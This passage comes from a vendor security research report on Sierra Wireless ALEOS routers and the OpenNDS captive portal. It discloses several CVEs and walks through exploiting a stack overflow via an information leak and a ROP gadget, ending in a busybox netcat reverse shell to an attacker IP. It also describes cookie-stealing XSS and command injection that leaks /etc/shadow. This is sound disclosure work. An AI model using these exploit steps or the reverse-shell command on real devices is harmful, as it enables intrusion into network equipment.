not find any recent vulnerabilities on the NVD. However, due to the complexity ofthe project, we decided not to analyze it at this moment.

Strongswan

5.9.5

An open-source IPSec-based VPN solution. This component is outdated since thelatest release is 5.9.11. We found two recent vulnerabilities (CVE-2023-26463 andCVE-2022-40617) that could potentially affect the present version. However, we
did not explore this project in the present research.

Dnsmasq

2.84rc2

This project supports network services such as DNS and DHCP for smaller
networks. We found a number of disclosed vulnerabilities that could affect thepresent version.

TinyXML

~2.6.2A minimal XML document parser implemented in C++. The source code of the
project was included into one of the libraries that are a dependency ofACEmanager. The project has been abandoned for a while and new users are
Sierra:21 – Living on the Edge

18

recommended to use TinyXML2. We found only one vulnerability not addressed in
the upstream releases.
libmicrohttpd~0.9.75

A small library to build simple HTTP servers. This library ships with OpenNDS andis not used within ALEOS otherwise.

We analyzed the components that did not have many recent security vulnerabilities disclosed and were able to beanalyzed within a limited timeline: rp-pppoe, OpenNDS, TinyXML and libmicrohttpd (only those parts relevant toOpenNDS). Such components are interesting because the absence of vulnerabilities in them may be due to threefactors:• The component may be well-maintained and error-free.
• The developers may not issue CVE identifiers and make special vulnerability announcements, treating
security issues like regular bugs and producing silent patches.
• A project may be abandoned by its developers while still being used in other projects as a dependency.
Thus, the project receives no attention from vulnerability researchers because it is deemed to be“unused”, while the software maintainers that integrate the project have a false sense of security due tono found vulnerabilities for a long period of time.

8.2.

Static and dynamic analysis of binaries

We started with static analysis of ACEmanager in version 4.16.0 and its immediate dependencies. We emulated
ACEmanager and its immediate components using QEMU, wrapping most of the original filesystem into a Docker
container and running it with qemu-arm-static. We could then attach a remote debugger and better explore thefunctionality of ACEmanager. Figure 8 (below) shows a debugging session with ALEOS logs on the left, and thedisassembly of the “main()” function on the right.

Sierra:21 – Living on the Edge

19

Figure 8 – Emulating and debugging ACEmanager

For open-source components, we simply downloaded the source code for the versions of the projects that areshipped with ALEOS, compiled it and analyzed it using a combination of static and dynamic analysis, with sourcecode review and lightweight fuzzing with libFuzzer.

9. Technical Dive-In #2: Details of New Vulnerabilities
9.1. CVE-2023-40464: Default SSL private key andcertificate
ACEmanager can serve web content over HTTPS using an SSL private key and certificate stored under/etc/ACEmanager/certs/server.key and /etc/ACEmanager/certs/server.crt, respectively. Users canupdate the key and cert via ACEmanager but they are not warned to do so in the first place.
Using the default key/certificate is dangerous since attackers can retrieve them from the software package anduse them to perform man-in-the-middle attacks and either access a vulnerable system or modify data in transit
between a client and a vulnerable ACEmanager. For instance, the advisory for a previous vulnerability on ALEOS,
CVE-2018-4069 – cleartext transmission of credentials – recommends as mitigation to configure a device to onlyuse HTTPS for accessing ACEmanager. However, when the default private key and certificate are used, thismitigation is insufficient, as attackers can decrypt the traffic and retrieve the credentials.

9.2. CVE-2023-40463: Root shell access andhardcoded password hashes
The SSH server on Sierra Wireless routers is exclusively used for the AT commands interface when SSH isconfigured instead of Telnet. The root account is disabled in /etc/shadow by default, so while the root user
exists on the system, it cannot login, even if SSH acces is enabled.

Sierra:21 – Living on the Edge

20

However, there is a setting within ACEmanager called “Diagnostic shell access” described in the official
documentation as follows: “When enabled, this field allows Sierra Wireless Tech Support personnel to locallyaccess the diagnostic shell on your router. It should be left at the default setting unless Sierra Wireless
TechSupport asks you to change it.” This setting enables SSH access to the root user on port 22.
To understand how this functionality is implemented, we analyzed the cmdexe binary, which applies system-widechanges coming from ACEmanager. There, we found the following logic related to modyfing the /etc/shadow
file:
•
•

When the “Diagnostic shell access” is disabled via ACEmanager, cmdexe will write the hash value of rootin the /etc/shadow file as *, effectively disabling root shell access.
When this setting is enabled, the code will take a string with an obfuscated Unix SHA-512 hash of theroot password and write it into /etc/shadow. This allows anyone who knows the password that
corresponds to the said hash to log into SSH with root privileges.

The logic that de-obfuscates the SHA-512 hash is fairly simple and is illustrated in Figure 9 (below). We show a
Python version of the logic for simplicity. The string that contains the obfuscated hash is rearranged according to
the hardcoded index table (each index in the table is padded with one zero). We also looked at this logic in otherversions of ALEOS. For example, in ALEOS 4.4.9, an MD5 hash is used instead of SHA-512, and the elements of
the index table are padded with three zeros instead of one (perhaps, because the index table has a fixed size andMD5 hashes are shorter). Despite these minor differences, the logic is the same.

Figure 9 – A script that de-obfuscates the root password hash (Python)

The value of the hardcoded password hash appears to be different across different builds of ALEOS for different
devices. However, as we have demonstrated above, it can be easily retrieved by motivated attackers.
While SHA-512 hashes are notoriously hard to break, determined attackers may succeed with a lucky dictionary
attack. This will grant them immediate root access for devices that run a certain build with the diagnostic shellenabled. MD5 hashes are much easier to break. Therefore, older devices face a bigger risk. Malicious actors
could also trick Sierra Wireless support staff into logging into a device that they control to intercept the root
password. In this case, they might gain access to all similar devices that run that particular build of ALEOS.
This same issue was previously reported by Ruben Santamarta, however it was not included into thecorresponding advisory at the time.

Sierra:21 – Living on the Edge

21

9.3.

Web vulnerabilities

The first issue (CVE-2023-40459) is a NULL-pointer dereference that can be triggered when a user is about to log
into ACEmanager. When users log in, the JavaScript code built into the ACEmanager’s login page performs thefollowing POST request to the internal URL /xml/Connect.xml (as in Figure 10 below):

Figure 10 – A POST request to Connect.xml

The XML document embedded into the data of the POST request contains the login and password XML tags
that are created directly from the corresponding elements on the web form. Additionally, the value of thepassword tag is wrapped into the CDATA tag to ensure that the value is interpreded as content, not XML markup(a type of input sanitization).
After the above XML document is received, it is passed into the TinyXML component (see Table 5), which
extracts the value of the login and password tags.

Figure 11 – Pseudocode fragment that corresponds to CVE-2023-40459

The pseudocode fragment that handles the password tag value extraction is shown in Figure 11 and summarized
below:• The code retrieves the password tag from the XML document by calling TiXmlHandle::FirstChild()
several times.
• The code proceeds with calling the TiXmlText::CDATA() function (line 121) on the text element retrieved
from the password tag.
• If the password tag is completely empty, that is the corresponding TiXmlText object is NULL, the call to
TiXmlText::CDATA() will cause a NULL-pointer dereference, and ACEmanager will crash.
To trigger the issue, attackers must send a POST request similar to the one shown above in Figure 10, with the
password tag empty. The ACEmanager will restart in a few seconds after the crash. However, all logged in users
will be logged out. Attackers can send a malformed POST request continuously to prolong the DoS indefinitely.
Sierra:21 – Living on the Edge

22

The second issue (CVE-2023-40460) is related to the XML configuration template upload functionality, which issomewhat similar to CVE-2018-4067. These templates are used for quick configuration of a device. Instead of
tweaking settings in ACEmanager manually, an XML file that reflects all current settings can be created and thenuploaded to another device to apply the same settings.
The vulnerability allows authenticated users to upload arbitrary malicious files in place of XML configuration
templates, due to improper validation of the file name being uploaded, and its content. In case these arbitrary files
are names like legitimate web pages of ACEmanager, these malicious files will be served instead of the legitimate
ones.

Figure 12 – A POST request that uploads a malicious file via template_upload.cgi

Authenticated attackers can send malicious files via POST requests similar to the one shown above in Figure 12.
Note that the valid values for token and csrt-token must be provided. However, attackers can obtain thesevalues by sniffing the network traffic and do not need to posess valid credentials.
The POST request shown in Figure 12 will replace the legitimate ACEManagerX.html page, which is the mainHTML page of ACEmanager, with its copy that contains malicious content crafted by the attacker. To bypass thecontent validation checks, the contents of the malicious file must begin with the XML tag <?xml version=’1.0’?>. Malicious files are served instead of legitimate ones with the same name for the following reasons:• The XML templates are uploaded to the folder /www/auth/user/upload/ and the legitimate web content
of ACEmanager is located in the /www/auth/viewer/* folder.
• The ACEmanager binary explicitly maps the content from the folders /www/auth/user/* andwww/auth/viewer/* to the /admin/ URI. This means that both the legitimate files and the malicious files
uploaded as XML templates will be reachable with the /admin/ parent URL.
• If the malicious file uploaded as an XML template has the same name as a legitimate file, it will be served
first. It is not clear why exactly this happens, but it could be due to a fresher file timestamp or simply
because the logic picks that folder first when it resolves a filename.
Because of the changes made to fix CVE-2018-4067, it is impossible to upload binary executables, such as
malicious CGI files. Therefore the capabilities of attackers are limited to malicious HTML and/or JavaScript
content only. The mailicios content that “overshadows” the legitimate files will likely persist until the technicalsupport deletes it (see our notes about “Diagnostic root shell” on Section 9.2).
The third web-based vulnerability, CVE-2023-40461, resides in the front-end code of the application.
ACEmanager allows users to configure an OpenVPN tunnel and upload a client certificate or a TLS key forauthentication. Because of missing validation of the key/certificate name, it is possible to inject JavaScript code
into the web page, a stored XSS.
Sierra:21 – Living on the Edge

23

Figure 13 – The vulnerable JavaScript code fragment related to CVE-2023-40461

Figure 13 (above) shows the vulnerable JavaScript code fragment causing the vulnerability. Here, the variable d
represents an HTML element on the web form, where user input will be displayed (the name of the uploaded
key/certificate); the variable b corresponds to the value of the user input taken from the web form. The jQueryhtml() method (line 7) will convert user input to HTML, and, since there is no code that sanitizes user input, it ispossible to inject arbitrary HTML elements and JavaScript code.
The setTDValue() function is called from the backend CGI binary under the /cgibin/Embedded_Ace_Set_Task.cgi URL (as shown below in Figure 14).

Figure 14 – A POST request for setting an OpenVPN certificate/key name

Here, the ID “10013” corresponds to the HTML element which is mapped to the “Certificate name” field that will
display the uploaded certificate name for one of the five VPN connections that can be configured. There areseveral IDs (or fields) that can be set that way, and all of them are affected. For example, attackers can send the
POST request shown below in Figure 15. Then, whenever users navigate to the VPN setup page, the injected
JavaScript code will be executed.

Figure 15 – A “malicious” POST request

There is a 256-character limit for the payload that attackers can inject and there is input sanitization code thatwould not allow symbols such as =, but this is not a huge limitation for determined attackers. For example, thefollowing obfuscated payload that steals important cookies and sends them to a remote server (as in Figure 16
below) will be accepted:

Sierra:21 – Living on the Edge

24

Figure 16 – A malicious POST request

Just like with CVE-2023-40460, attackers need to posess the valid token and csrf-token cookies.
We also noticed that the session cookie token does not have the HTTPOnly flag (CWE-1004), which would
prevent JavaScript client code from reading sensitive cookies through attacks like XSS. The missing flag allowed
us to read and steal the session token through the previously mentioned vulnerabilities.

9.4. CVE-2023-40458 and CVE-2023-40462:
TinyXML denials of service
TinyXML has not been supported for some years, but ALEOS still embeds its source code directly into one of its
libraries (libSWIALEOS.so). We found one publicly known vulnerability that affects TinyXML (CVE-2021-42260)
and has not been fixed in the latest version of the project.
Figure 17 (below) shows the vulnerable code fragment in TinyXML that causes CVE-2023-40458. The
TiXmlParsingData::Stamp() function is called when an XML document is parsed (one byte at a time). To
trigger the bug, the document must start with the byte sequence 0xef 0xbb 0xbf, which will ensure that the
document encoding is interpreted as UTF-8, so that we could eventually enter the if branch on line 10.

Figure 17 – The vulnerable code fragment in TinyXML responsible for CVE-2023-40458

Sierra:21 – Living on the Edge

25

One of the following bytes of a malformed XML document must be set to 0xef (TIXML_UTF_LEAD_0), so that weenter the if branch on line 11. If one of the next bytes (p+1 or p+2) is set to 0x00 (NULL), none of the code shownon lines 16 to 23 will be executed. This means that on the next iteration of the while loop, the byte pointer p will
not be incremented and the code will parse the same byte sequence repeatedly. This leads to a DoS via an
infinite loop. The root cause of the issue is very similar to some of the antipatterns that we encountered during ourprevious research on Project Memoria.
We confirmed that the source code of TinyXML that ships with ALEOS (within one of the libraries ofACEmanager) contains the vulnerability as well. One of the most straightforward ways to trigger the issue is byinteracting with the backend URL that processes XML documents containing the login and the password (see ournotes about CVE-2023-40459 in Section 9.3).

Figure 18 – A payload that will trigger CVE-2023-40458 in ACEmanager

Figure 18 (above) shows a POST request containing a crafted payload that triggers the issue in ACEmanager. As
a result, ACEmanager gets stuck in an infinite loop and stops responding to clients. To restore its functionality, adevice must be manually restarted. Attackers do not need to be authenticated to exploit the issue.
To find more issues on TinyXML, we created a simple fuzzer based on libFuzzer. Almost immeditalely, we got ahit: CVE-2023-34194 / CVE-2023-40462. When a certain malformed document is parsed by TinyXML, it hits areachable assertion within the code and terminates the application with the SIGABRT signal.

Figure 19 – The root cause of CVE-2023-34194 (CVE-2023-40462)

Sierra:21 – Living on the Edge

26

The root cause of the issue is shown above in Figure 19. TiXmlDeclaration::Parse() is called for the inputthat starts with the characters <?xml and the while loop in that function processes the next characters one byone. On line 31, the function TiXmlBase::SkipWhitespace() is called and advances the character pointer ppast any whitespace characters encountered. If we craft a document that, after the <?xml characters, has awhitespace character followed by a NULL character (“0x00”), the SkipWhitespace() call on line 31 will advancep directly to that NULL character.
The StringEqual() function call on line 32 looks for the XML version substring: the assert() call on line 8
checks whether the pointer p points at a nonzero-address. However, if the value of that pointer (that is, the current
character being parsed) is NULL (“0x00”), the code will hit the assertion on line 10 and terminate.
For ACEmanager, the bug can be triggered similarly to CVE-2023-40458, as shown below in Figure 20. Unlike
CVE-2023-40458, though, it crashes the application, and since ACEmanager runs as a service, it will be
automatically restarted in a few seconds. However, attackers can keep sending malformed XML documents,
prolonging the DoS indefinitely. All currently logged-in users are also immediately logged out. Attackers do notneed to be authenticated to exploit the issue.

Figure 20 – A payload that will trigger CVE-2023-40462 in ACEmanager

9.5.

OpenNDS NULL-pointer dereference issues

Knowing that ALEOS ships with an older version of OpenNDS, we looked at the commit messages within its
source code repository to see if there were any silent patches for security issues or other relevant bugs.
Immediately, we found the commit shown below in Figure 21.

Figure 21 – The commit message for a patch that fixes a NULL-pointer dereference issue in OpenNDS

Figure 22 (below) shows the important parts of the patch. The changes are highlighted with the red rectangle online 18. The MHD_get_connection_values() function performs a lookup of the value of the Accept HTTP
header within an incoming HTTP request and stores the result into the accept variable; if the Accept header is
not present in the request, the value of the accept pointer will be NULL. Before the patch, the call to strcmp() online 18 would cause a segmentation fault if the value of accept is NULL, crashing OpenNDS and causing adenial-of-service condition.

Sierra:21 – Living on the Edge

27

Figure 22 – A NULL-pointer dereference patch found in the OpenNDS git repository

This issue affects neither OpenNDS 9.1.1 – since it does not contain any code that extracts the Accept header –nor can it be exploited in the latest versions of OpenNDS, as the issue was fixed.
However, we found that this is a common code pattern from libmicrohttpd for extracting various parts of HTTP
requests, such as headers and query string parameters. Since we saw only one patch, we wondered whether thedevelopers made this mistake only once.
We identified 6 very similar new NULL-pointer dereference issues in various places: CVE-2023-38320, CVE2023-38315, CVE-2023-38314, CVE-2023-38313, CVE-2023-38322, and CVE-2023-38321. We do not describe
all of them in detail, as it suffices to say that they all exhibit the same “anti-pattern”:• Declare a pointer that will point to the value retrieved from an HTTP request.
• Do not initialize the pointer (or initialize it with NULL explicitly).
• Call the MHD_get_connection_value() function, passing said pointer as a reference.
• Do not check whether the pointer is not NULL after the function returns.
• Use the pointer as an argument to a function that requires the pointer to be initialized, such as strcmp()
or strlen().
Figure 23 (below) shows another code fragment that exhibits the above anti-pattern. In this case, OpenNDS canbe crashed with an HTTP request that lacks the User-Agent header. Triggering this issue is extremely simple,
and can be done with a single HTTP request: GET /opennds_preauth/ HTTP/1.1 Accept: none .

Sierra:21 – Living on the Edge

28

Figure 23 – An example of another NULL-pointer dereference issue (CVE-2023-38320)

When exploiting any of the aforementioned issues, the OpenNDS deaemon will crash and will have to berestarted (Figure 24 below shows the log relevant messages). While OpenNDS is down, users are be unable toconnect to the networks governed by the captive portal, and Internet access will be denied.

Figure 24 – Crashing the OpenNDS daemon in ALEOS

9.6.

OpenNDS OS command execution

We also identified several issues that may lead to OS command execution. These vulnerabilities do not affect
ALEOS directly, as they require certain changes (or the ability to make these changes) to the main configuration
file of OpenNDS – opennds.conf.
The most severe is CVE-2023-38316: when the custom URL unescape callback is enabled in the OpenNDS
configuration file, attackers can execute arbitrary OS commands with crafted HTTP requests. (See Figure 25
below)

Sierra:21 – Living on the Edge

29

Figure 25 – The custom “unescape()” function in OpenNDS

Figure 25 shows the function unescape() that will be called to unescape URLs for each HTTP request when thecustom unescape callback is enabled. The name of the execute_ret_url_encoded() function called on line 10
is misleading, as it does not encode the OS command passed into it (see Figure 26 below). The underlying_execute_ret() function will execute a command cmd as is, therefore it must be escaped and validated
beforehand. Since this is not done at all, attackers can inject additonal commands in place of the arguments tothe unescape.sh script.

Figure 26 – The execute_ret_url_encoded() function

The injected OS commands will be executed with the privileges of the OpenNDS daemon (most likely, root).
Figure 27 (below) shows an example of such a crafted URL that will send the contents of the /etc/shadow backto the attacker. It is also possible to launch a reverse shell, for instance.

Figure 27 – Exploiting CVE-2023-38316

The exploitability of four other OS command injection vulnerabilities (CVE-2023-38317, CVE-2023-38318, CVE2023-38319, CVE-2023-38323) summarized previously in Table 2 depends on whether the attackers can modify
the opennds.conf configuration file directly or indirectly. For example, these vulnerabilities cannot be exploited incurrent versions of ALEOS, since the file cannot be changed by users. However, on other manufacturers’ devices,it may be possible to adjust certain captive portal settings via the UI and have them reflected in the configuration
file. In this case, if the user input is not sanitized, the vulnerabilities may be exploitable.

Sierra:21 – Living on the Edge30

9.7. OpenNDS memory leaks and remote code
execution
We also had a quick look at a release of OpenNDS that came after our initial findings against version 9.x: version
10.1.1. The new major version fixed several of the issues we found in 9.x and performed major refacatoring ofsome functionality, in particular, changing the way memory is allocated. For example, many buffers allocatedpreviously in the stack are now allocated in the heap.
This major refactoring resulted in multiple memory leaks such that when the captive portal runs on a device withconstrained resources (such as many IoT devices), attackers may take the portal offline by creating multiple
connections (we filed all these memory leaks under the umbrella of CVE-2023-41102). One of the most prominent
examples was explicit memory allocation for a buffer before passing it into “safe_asprintf()”, as shown below in
Figure 28.

Figure 28 – An example of a memory leak related to safe_asprint()

Here, “safe_asprintf()” (wrapper around vasprintf()) will take care of allocating the destination buffer. However, abuffer is being allocated in the “show_preauthpage()” function as well. In this case, when the pointer to the buffer(cmd) is eventually passed into “free()” (line 15), the call will deallocate the memory allocated by “vasprintf()”, but
the pointer to the first allocation will be lost, and that memory will never be freed.
While examining the code for memory leaks, we stumbled upon CVE-2023-41101: the function that parses query
strings parameters in OpenNDS is vulnerable to a stack buffer overflow in versions 9.x (used by Sierra Wireless),
and a heap-based buffer overflow in OpenNDS 10.x and onwards. Below, we only discuss the stack-based
overflow.
The code snippet shown below in Figure 29 reveals how a buffer for a query string (query_str) is declared. The
value of QUERYMAXLEN is set to 8192 by default.

Sierra:21 – Living on the Edge

31

Figure 29 – The “preauthenticated()” function where the buffer “query_str” is declared

The function “get_query()” is called in several places of “preauthenticated()” and is used to populate the query(query_str) buffer with the contents of the query string sent by users via GET HTTP requests. There are almost no
differences between the function “get_query()” in the versions 9.x and 10.x of OpenNDS. In fact, we identified thatthe code originates from the NoDogSplash captive portal. Therefore, OpenNDS and the original NoDogSplash
project share the same vulnerability.
Figure 30 shows the implementation of the “get_query()” function (some code was omitted for brevity). The
second parameter of the function is a pointer to the query_str buffer declared in “preauthenticated()”. The root of
the problem with this function is shown on the lines 14 and 24:••

First, the length of an individual query string parameter is calculated with the “strlen()” function. Despite its
name that implies its purpose for calculating the length of strings, it actually calculates the length of any
sequence of bytes until the position that contains the 0x00 (NULL) byte. Therefore, attackers can control
the length variable by sending sequences of arbitrary bytes in place of query string parameters, andplacing the NULL byte into a chosen position.
Second, the fixed query_str buffer gets populated with the attacker-provided data, based on the attackercontrolled length.

To summarize, if the captive portal receives a GET request with a query string parameter that is longer thanQUERYMAXLEN (8192 bytes by default) (see Figure 30 below), the stack may be corrupted by overwriting it with
attacker-controlled data, leading to a Denial-of-Service or a Remote Code Execution.

Sierra:21 – Living on the Edge

32

Figure 30 – The “get_query()” function

The original vulnerability in OpenNDS/NoDogSplash looked as if it could be exploited by attackers. Yet, we
wished to understand whether they could achieve arbitrary code execution on a Sierra Wireless target which we
had in our lab.

10. Technical Dive-In #3: Exploiting CVE-2023-41101
on LX60
In this Section, we detail how we exploited CVE-2023-41101 against a Sierra Wireless LX60 running the latest
available version of ALEOS, 4.16.0. To exploit this vulnerability, attackers do not need to be authenticated with
ALEOS, but there are three requirements:(1) They need to be within the range of the WiFi network that is configured to run the OpenNDS captive
portal;(2) They must know or crack the WiFi password if it is password-protected to be able to connect to the
network and interact with OpenNDS. Although typically, in public places WiFi networks controlled bycaptive portals are NOT password-protected;(3) They need to guess the thread-local heap base address (more on that later, but chances of success arequite high).
(4)

Sierra:21 – Living on the Edge33

10.1. A closer look at the binary
Since we had no debugging capabilities on the target (because, by design, root login is disabled), we started byemulating the OpenNDS binary shipped with ALEOS 4.16.0. This allowed us to establish the following:••••

The binary has full symbols. While this is not strictly necessary, as the source code of OpenNDS isavailable, it is very handy.
The NX (no-execute) bit is set during compilation, rendering the stack and the heap not executable.
We cannot inject shellcode into these memory regions.
ASLR (Addres Space Layout Randomization) is enabled, thus (in theory) all virtual memory regions are
subject to base address randomization.
The PIE (Position Independent Executable) option is disabled. Even if ASLR is enabled, the baseaddress of the executable itself (and function addresses) will not be randomized. This allows forconsidering ROP (Return-Oriented Programming) or “return-to-libc” techniques that allow to bypass ASLR
altogether. The lack of PIE also simplifies Information Leak attacks that are sometimes needed to defeat
ASLR.

To summarize, we had the NX and ASLR memory protection mechanisms to defeat but the absence of PIE could
make our job much easier. This, yet again, shows that a single memory protection measure is never enough, andif used alone can be a mere nuisance to attackers.

Figure 31 – The layout of the stack on the ARM32 binary of OpenNDS used in ALEOS 4.16

Before developing the exploit, we must see how the overflown stack appears. Figure 31 (above) shows the layoutof the stack just before we exit the “preauthenticated()” function under normal circumstances:••

The 8 bytes at the address 0x3fe2d42c (marked in orange) are the last 8 bytes that belong to thequery_str buffer. The next 8 bytes are the address stored in one of the local variables adjacent toquery_str.
The bytes marked in blue (0x3fe2d434 - 0x3fe2d450) are the saved registers from the function“libmicohttpd_cb()” that calls “preauthenticated()”. The “libmicrohttpd_cb()” function is a callback defined

Sierra:21 – Living on the Edge

34

•
•

in OpenNDS. This callback is invoked each time the underlying webserver library (libmicrohttpd) receives
a web request.
The bytes marked in red are the return address located somewhere within “libmicohttpd_cb()”, right after
the call to “preauthenticated()”.
The bytes marked in green are some of the registers being saved prior to calling the function“libmicrohttpd_cb()”. Namely, 0x3f5006e8 points to a buffer that holds the entire HTTP request, and
0x3f5006ec points to a buffer that holds the value of the URL specified in that request.

10.2. Limitations and caveats
Neither the heap nor the stack is executable, and ASLR is enabled but PIE is disabled. Therefore, jumping
between various functions of the binary is trivial, and the most straightforward strategy for exploiting thisvulnerability is as follows:
1. Construct a ROP chain that allows the attacker to hijack the control flow and populate the right registers
with attacker-controlled data that eventually executes some useful function with attacker-controlledparameters.
2. Start by overflowing the query_str buffer in a way that allows control to jump to the beginning of that ROP
chain. Proceed with overwriting the rest of the stack past the original return address with the rest of thegadgets of that ROP chain.
However, this would only work if the vulnerability allowed for arbitrary writes, which is not the case. Let us haveanother look at the implementation of the “get_query()” function shown previously in Figure 28:•••

The use of the function “strlen()” on line 14 limits the overflow payload to byte sequences without zeros inarbitrary positions. This means we cannot freely overwrite stack entries with addresses that contain zeros.
Since PIE is disabled, the absolute addresses for functions will have the highest byte equal to 0x00,
meaning we can only write such an address once when overflowing the query_str buffer.
To circumvent this, we could try to overwrite query_str in several iterations (see the loop that starts on line20) by providing several NULL-terminated query string parameters. Unfortunately, this is not possible,
since the function contains another bug – the value of the variable “j” is never changed, therefore eachquery string parameter will be writtein into the the same position in query_str.
After writing attacker-controlled data into query (pointer to the original query_str) at line 24, the code
eventually “detects” the overflow (lines 36-37), and stops writing query string data into another query_str
buffer declared in “get_query()” (yes, this is a bit confusing). As a result, on line 42, query (pointing to theoriginal query_str) will be overwritten with the contents of query_str (another buffer declared in“get_query()”): this will write the symbol “?” and numerous NULL bytes (the exact number is determined
by QUERYMAXLEN) – on ARM32, this will give us 36 attacker-controlled bytes that can be placed on thestack past the query_str buffer, just before the return address is reached.

These are tight constraints: we do not need to guess the function addresses within the main binary. But they allcontain NULL bytes in their addresses, meaning that we can only jump once by overwriting the return address of“preauthenticated()”. The section below describes how we populate the function parameters with attackercontrolled data.

10.3. Finding information leaks
There are some promising functions within the main binary into which we can jump directly (for instance, there isa PLT reference to “system()”), but they require populating either register R0 or R2 (scratch registers) with
attacker-controlled data (such as an OS command to be executed). We could not find any gadgets within the

Sierra:21 – Living on the Edge

35

main binary that would allow to do so with only one jump, but in libc they are plentiful. Besides, the libc addresses
likely do not have NULL bytes in them, as the library will be loaded into the virtual memory.

Figure 32 – system@plt in the OpenNDS ARM32 binary

Since ASLR is a part of the equation, this approach would require us knowing the base address of libc, which is
impossible without leaking some library addresses back to us. There was no way to exploit the original bug toachieve information leaks, so we had to look around.
When examining the admin settings in ACEmanager, we spotted that logging is available and the verbosity of thelogs can be adjusted. OpenNDS has several levels of log verbosity as well, and by experimenting with the log
verbosity settings in ACEmanager, we could enable the debug messages produced by OpenNDS and see themin ACEmanager’s log viewer.
Some of these debug messages are syslog messages produced by the “_debug()” function in OpenNDS. The
function accepts three parameters: a filename (register R0), a line (register R1), and a log level (register R2):

Figure 33 – The parameters of the “_debug()” function

Because of the aforementioned restrictions, we cannot populate any of these registers directly. However, we canoverwrite the return address of “preauthenticated()” with the address of “_debug()” (0x19854), and see what
happens.

Figure 34 – A pseudocode fragment from the “_debug()” function

Figure 34 (above) shows a pseudocode fragment from the “_debug()” function. The level argument is used to set
the debug level for the syslog, and if the debug level value is not supported (for example, when it is set to 42), it
will create a syslog message that says “Unhandled debug level: 42”. Also, note that level is stored in the register
R2 (see Figure 33).

Sierra:21 – Living on the Edge

36

That looks promising! We could have used functions like “printf().” However, they would never print a message
into the log window of ACEmanager, and we would be unable to see the output. After fiddling with the emulated
binary, we found that when the “preauthenticated()” call exits (at the very moment when we can redirect thecontrol flow), the value of the register R2 contains an address that likely belongs to a local heap of the thread thatis currently processing the GET request. (libmicrohttpd is using threads for individual client connections, and eachsuch thread seems to have its own thread stack along with a thread-local heap.) Therefore, by overwriting thereturn address of the “preauthenticated()” call with the address of the “_debug()” function, we can leak the valueof the register R2 (an address in a thread-local heap).

Figure 35 – Looking at the leaked heap address in the log viewer of ACEmanager

Figure 35 (above) shows that we can indeed observe the leaked address in ACEmanager: in this case, theleaked address is 0x76400470 (1983906928). This value changes slightly depending on how long OpenNDS
runs, how many connections it establishes with clients, and some other things. However, after multiple trials, we
noticed that the leaked addresses had low entropy. This is very good news, as it means that ASLR exhibits
common issues inherent to 32-bit systems: due to lack of randomness (8 bits only), default page size (4KB), thedefault stack sizes (8MB), as well as memory alignment requirements, thread stacks (and thread-local heaps) canhave only a few practical base addresses, rendering ASLR ineffective.
Out of 15 runs, in 9 cases the base of the leaked address was 0x76400000, and 0x76500000 in 6 cases.
Moreover, in almost all cases, the lower bits of the address were exactly the same (e.g., 0x76400470). If weexamine the memory in the vicinity of that addres, we see that the URL of the GET request are located at theoffset 0x27c in most of the runs – this gives us the address 0x764006ec of the URL. Since we control thecontents of the URL and now can reliably infer its absolute address, we could look for a proper gadget that allows
placing it into the right register.

10.4. Putting it all together
By now we have established that we can reliably infer the address of the URL buffer that is under our control. The
binary does not contain many useful gadgets that allow us to populate either R0, or the R2 registers, and achieve
an arbitary jump at the same time. Also, becuase of the constraints imposed by “strlen()” that we discussed
before, we cannot achieve a “write-what-where” condition, as we cannot prevent the binary from crashing.

Sierra:21 – Living on the Edge

37

However, the “_execute_ret()” function which we briefly covered during our discussion of CVE-2023-38316 comesto the rescue!

Figure 36 – One gadget to rule them all

As can be seen in Figure 31, when “preauthenticated()” exits, it first pops the registers R4-R11 before popping
the last value from the stack into the PC register. Therefore, if we overwrite the stack in such a way that the valuethat will be popped into R4 is set to the address of the URL buffer, and overwrite the value that will be popped into
PC (the return address) with the address of the gadget shown on Figure 36, we can achieve arbitrary OS
command execution.
Figure 37 (below) illustrates such an exploit in action (note that this screenshot was obtained from the binary run
in an emulator, therefore the base address of the thread-local heap where the URL buffer is allocated will bedifferent on the physical device):• The bytes in orange are the last 8 bytes of the query_str buffer that gets overflown.
• The bytes in blue are just padding.
• The bytes in green are the address of the URL buffer under our control.
• Finally, the bytes in red are the new return address (the gadget that starts at 0x241c8, see Figure 36).

Figure 37 – The exploit illustrated

When crafting a malicious GET request, we ensure that the URL portion of the request contains the arbitrary OS
command that we wish to execute, and we overflow the query_str buffer in such a way that the likely address of
the URL buffer will be popped into the register R4 and the address of the gadget (0x241c8) will be popped into
the PC register. This is how we achieve arbitrary OS command execution with root privileges (OpenNDS reqiures

Sierra:21 – Living on the Edge38

superuser privileges to run). This happens when we can successfully “guess” the address of the URL buffer(happens in about 60% of cases).
Since ALEOS ships with a variety of standard Linux utilities, including busybox, we can set the URL buffer to be“/bin/busybox nc [ATTACKER_IP] [ATTACKER_PORT] -e /bin/bash” to start a reverse shell back to theattacker’s machine (see Figure 38 below). From there, attackers can do anything they wish with the device, suchas set a different root password and launch an SSH server. While this vulnerability does not have 100% chanceof success on the first attempt (due to an effect of ASLR and threading), it is a very nice way to “jailbreak”, orachieve full root access, into a device where such access is restricted by the manufacturer.

Figure 38 – Successful exploitation of CVE-2023-41101 on LX60

© 2023 Forescout Technologies, Inc. All rights reserved. Forescout Technologies, Inc. is a Delaware corporation. A list of our trademarks andpatents is available at www.forescout.com/company/legal/intellectual-property-patents-trademarks. Other brands, products or service names
may be trademarks or service marks of their respective owners. 12062023_01_02

Sierra:21 – Living on the Edge

39